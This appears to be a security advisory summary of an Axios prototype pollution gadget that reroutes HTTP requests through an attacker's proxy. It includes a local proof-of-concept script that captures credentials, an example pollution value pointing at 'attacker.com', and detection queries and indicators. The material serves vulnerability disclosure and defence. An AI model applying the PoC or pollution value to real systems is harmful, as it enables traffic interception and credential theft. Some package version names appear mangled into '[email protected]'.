Brief Summary: Axios CVE-2026-44494 Prototype Pollution Gadget Enables Full MITM with PoC and Detection Guidance

Introduction

A prototype pollution gadget in Axios, the JavaScript ecosystem's most popular HTTP client library, lets any Object.prototype pollution in an application's dependency tree be silently escalated into a full Man-in-the-Middle attack. The attacker can capture authentication credentials and modify HTTP responses, with no direct user interaction. Axios has over 100 million weekly npm downloads and roughly 174,000 dependent packages, so CVE-2026-44494 reaches virtually every corner of the Node.js ecosystem. It also arrives just two months after a confirmed supply chain compromise of the same library.

Technical Information

Root Cause: Unguarded Prototype Chain Traversal on config.proxy

CVE-2026-44494 is classified under two CWEs: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes) and CWE-441 (Unintended Proxy or Intermediary). The two classifications match the two stages of the attack. Prototype pollution provides the injection vector, and Axios's HTTP adapter provides the gadget that turns that injection into network traffic hijacking.

The vulnerability is in Axios's Node.js HTTP adapter at lib/adapters/http.js, around line 670. When Axios prepares an outbound HTTP request, it reads config.proxy with standard JavaScript property access. If an object has no "own" property with a given name, the JavaScript runtime walks up the prototype chain looking for it. Prototype pollution exploits exactly this behavior.

proxy is not defined in Axios's defaults file (lib/defaults/index.js). When mergeConfig combines user-supplied configuration with Axios defaults, it uses Object.keys() to enumerate properties. Because proxy is never present in the defaults object, defaultToConfig2 never runs for proxy, and the merged configuration object never receives an own proxy property. So when the HTTP adapter later reads config.proxy, the lookup traverses the prototype chain. If an attacker has polluted Object.prototype.proxy with a value like {host: "attacker.com", port: 8080, protocol: "http"}, the lookup finds that value and treats it as a legitimate proxy configuration.

The setProxy() function (lines 191 through 239 of http.js) then rewrites options.hostname and options.port to the attacker-controlled values, and the entire HTTP request goes through the attacker's proxy server. The attacker can intercept all request data, including Authorization headers, cookies, and request bodies, and can return arbitrary forged responses.

The Two-Stage Attack Chain

Stage 1: Prototype Pollution Source. The attacker exploits a prototype pollution vulnerability in any dependency in the target application's dependency tree. Common candidates include libraries like qs, lodash, or minimist that parse user-controlled input into objects. The attacker pollutes Object.prototype.proxy with a malicious proxy configuration object.

Stage 2: Axios Gadget Activation. When the application makes any HTTP request with Axios, the HTTP adapter reads config.proxy, traverses the prototype chain, finds the attacker-injected value, and calls setProxy(). All subsequent HTTP requests are routed through the attacker's proxy. The gadget needs no direct user input to Axios. It fires automatically on every request.

Why This Bypasses the Prior Fix (v1.15.0)

An earlier prototype pollution gadget in Axios (GHSA-fvcv-3m26-pcqx) targeted the transformResponse code path and was patched in v1.15.0. That fix did not cover config.proxy, because proxy is absent from the defaults file and so was never part of the mergeConfig enumeration. CVE-2026-44494 exploits this separate, unprotected code path.

CVSS Scoring and Dispute

The official GitHub Advisory rates this vulnerability at CVSS 8.7 (High) with vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N. The vulnerability finder rated it at CVSS 9.4 (Critical), with AC:L instead of AC:H, arguing that exploitation is trivial once any prototype pollution source exists in the dependency tree. Both scores agree on the severe confidentiality and integrity impact: full interception and modification of all HTTP traffic, including authentication credentials. Given the gap between the two scores, organizations should not under-prioritize this vulnerability on the strength of the 8.7 rating alone.

Proof of Concept

A verified, publicly available proof of concept is published in the official GitHub Security Advisory GHSA-35jp-ww65-95wh, authored by the Axios maintainer (jasonsaayman) and credited to reporter August829. The PoC is a self-contained Node.js script. It starts an attacker proxy server and a real target server, pollutes the prototype, and shows the attacker's proxy intercepting credentials:

import http from 'http';
import axios from './index.js';

// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
  intercepted.push({
    url: req.url,
    authorization: req.headers.authorization,
    headers: req.headers,
  });
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Real target server
const realServer = http.createServer((req, res) => {
  res.writeHead(200);
  res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;

// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };

// "Safe" request — goes through attacker's proxy
const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {
  auth: { username: 'admin', password: 'SuperSecret123!' }
});

console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)

delete Object.prototype.proxy;
realServer.close();
proxyServer.close();

The advisory includes verified output from the exploit:

• Before pollution, requests reach the real server normally.
• After Object.prototype.proxy is set to the attacker's address, the same code and URL send the request through the attacker's proxy.
• The attacker's proxy captures the full URL (http://127.0.0.1:<port>/api/secrets), the Authorization header (Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh), and all other headers.
• The attacker can return arbitrary forged responses (e.g., {"data":"from-attacker-proxy","hijacked":true}).

The gadget requires zero direct user input to Axios. Any separate prototype pollution vulnerability in the application's dependency tree (e.g., in qs, minimist, lodash) is enough to trigger the MITM condition across all Axios HTTP requests.

Detection Methods

Detection for CVE-2026-44494 works at three layers: static dependency analysis, runtime behavioral monitoring, and network-level anomaly detection.

Software Composition Analysis and Dependency Scanning

The GitHub Advisory Database has published advisory GHSA-35jp-ww65-95wh, mapped directly to CVE-2026-44494. Any tool that consumes GitHub's advisory feed, including GitHub Dependabot, will automatically flag vulnerable Axios versions. The affected version range is >= 1.0.0, < 1.16.0, and Snyk also tracks < 0.32.0 for the 0.x branch under identifier SNYK-JS-AXIOS-17111079. Tenable's vulnerability database tracks this CVE for enterprise vulnerability management platforms.

For immediate local detection, run npm audit --json and filter the output for GHSA-35jp-ww65-95wh. npm ls axios --all shows every path through which Axios enters your dependency tree, which surfaces hidden transitive inclusions.

Runtime Prototype Pollution Detection

CVE-2026-44494 is a prototype pollution gadget: it weaponizes pollution that comes from elsewhere in the dependency tree. Runtime detection therefore means checking whether Object.prototype has been tampered with. The runtime indicator of compromise is a proxy property on Object.prototype with host, port, and/or protocol subproperties. If Object.prototype.proxy is defined in your Node.js runtime and your application has not set it explicitly, that is a strong signal that prototype pollution has occurred and the Axios gadget may be active.

Node.js heap snapshots (taken via the --inspect flag) can reveal unexpected properties on Object.prototype. They are a strong forensic tool for post-incident analysis and proactive hunting.

Network-Level Behavioral Detection

When the gadget fires, the network behavior is distinctive. Every Axios-initiated HTTP/HTTPS request starts routing through an attacker-controlled proxy, which leaves several detectable artifacts:

• HTTP CONNECT method requests in egress logs to destinations not on your approved proxy allowlist.
• TLS SNI hostname mismatches: the SNI value in the TLS ClientHello names the legitimate target hostname, but the TCP connection resolves to a different IP (the attacker's proxy). NGFW and outbound TLS inspection logs can surface this discrepancy.
• Axios User Agent strings paired with unexpected proxy hop headers in forward proxy or WAF logs. Look for the axios/<version> User Agent making requests through proxy infrastructure you do not control.

In SIEM environments, filter outbound HTTP requests where proxy_host is non-null and not in your approved proxy list AND user_agent contains axios. The TechJack Solutions intelligence report published a validated Microsoft Sentinel KQL query targeting MITRE ATT&CK technique T1071 (Application Layer Protocol):

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort in (80, 443, 8080, 8443)
| where InitiatingProcessFileName !in~ ("chrome.exe", "msedge.exe", "firefox.exe", "teams.exe", "outlook.exe", "svchost.exe")
| summarize Connections = count() by DeviceName, RemoteIP, InitiatingProcessFileName
| where Connections > 50
| sort by Connections desc

The query hunts for unusual outbound connection patterns from non-browser processes. It is an indirect behavioral signal for the kind of anomalous traffic the gadget would produce.

Key Forensic Artifacts

If you suspect exploitation, preserve and investigate:

• Node.js application stdout/stderr logs for the exposure window, filtering on strings like proxy, httpsProxy, __proto__, or constructor.prototype.
• NGFW/WAF outbound connection logs filtered for HTTP CONNECT method requests and for TCP sessions where the Host header destination differs from the TCP destination IP.
• Node.js process environment dumps (/proc/<pid>/environ), which may reveal injected HTTP_PROXY or HTTPS_PROXY environment variables, and ss -tnp connection state snapshots showing active connections to unexpected IPs.
• package-lock.json and yarn.lock snapshots showing which Axios version was deployed, to confirm the exposure window.

MITRE ATT&CK Mapping

This vulnerability maps to three ATT&CK techniques:

• T1557 (Adversary in the Middle), via the proxy gadget.
• T1040 (Network Sniffing), for credential capture on redirected sessions.
• T1071.001 (Application Layer Protocol: Web Protocols), for the C2-like communication pattern.

As of this writing, no publicly available Sigma rules, YARA rules, Snort signatures, or Suricata rules have been published specifically for CVE-2026-44494. Detection remains primarily version based (via SCA tooling) and behavioral (via network and runtime monitoring).

Affected Systems and Versions

The advisory states the affected range as Axios versions >= 1.0.0 and < 1.16.0. The description text in the same advisory widens this to "All versions (v0.x through v1.x including v1.15.0)." Snyk tracks the 0.x branch as affected for versions < 0.32.0 under identifier SNYK-JS-AXIOS-17111079.

The fixed version is Axios 1.16.0.

The vulnerability affects only the Node.js HTTP adapter (lib/adapters/http.js). Browser environments using Axios's XHR adapter are not affected by this particular gadget, because the browser adapter does not use the setProxy() code path.

Vendor Security History

Axios has had a concentrated series of security events in 2026, and together they point to a systemic weakness in how the library handles configuration objects:

On March 30, 2026, an attacker hijacked the lead maintainer's npm credentials and published two malicious versions ([email protected] and [email protected]) across both the 1.x and legacy 0.x release branches. Both contained a cross-platform remote access trojan. Trend Micro telemetry indicated the campaign hit hundreds of devices before the malicious packages were removed from npm. Microsoft, Snyk, Huntress, Orca Security, and JFrog each published independent analyses of the compromise.

Given the recurring prototype pollution gadgets, other unprotected code paths may exist in Axios's configuration handling logic. The Singapore Cyber Security Agency (CSA) issued a critical alert specifically for the Axios vulnerability.

References

• CVE-2026-44494 NVD Detail
• CVE-2026-44494 CVE Record
• GitHub Advisory GHSA-35jp-ww65-95wh (Official)
• GitHub Advisory Database Entry
• GitLab Advisory for CVE-2026-44494
• Tenable CVE-2026-44494
• Snyk Vulnerability SNYK-JS-AXIOS-17111079
• Snyk Axios Package Security
• Axios Security Advisories Page
• Axios 1.16.0 Patch Commit
• TechJack Solutions Intelligence Report
• CSA Singapore Critical Alert AL-2026-037
• Trend Micro: Axios NPM Package Compromised
• Microsoft: Mitigating the Axios npm Supply Chain Compromise
• Snyk: Axios npm Package Compromised
• Orca Security: Axios Supply Chain Attack Analysis
• HeroDevs: Axios Versions, CVEs, and Safe Upgrade Path
• Aikido: Axios CVE-2026-40175 Analysis
• CVE-2026-44495 Header Injection Advisory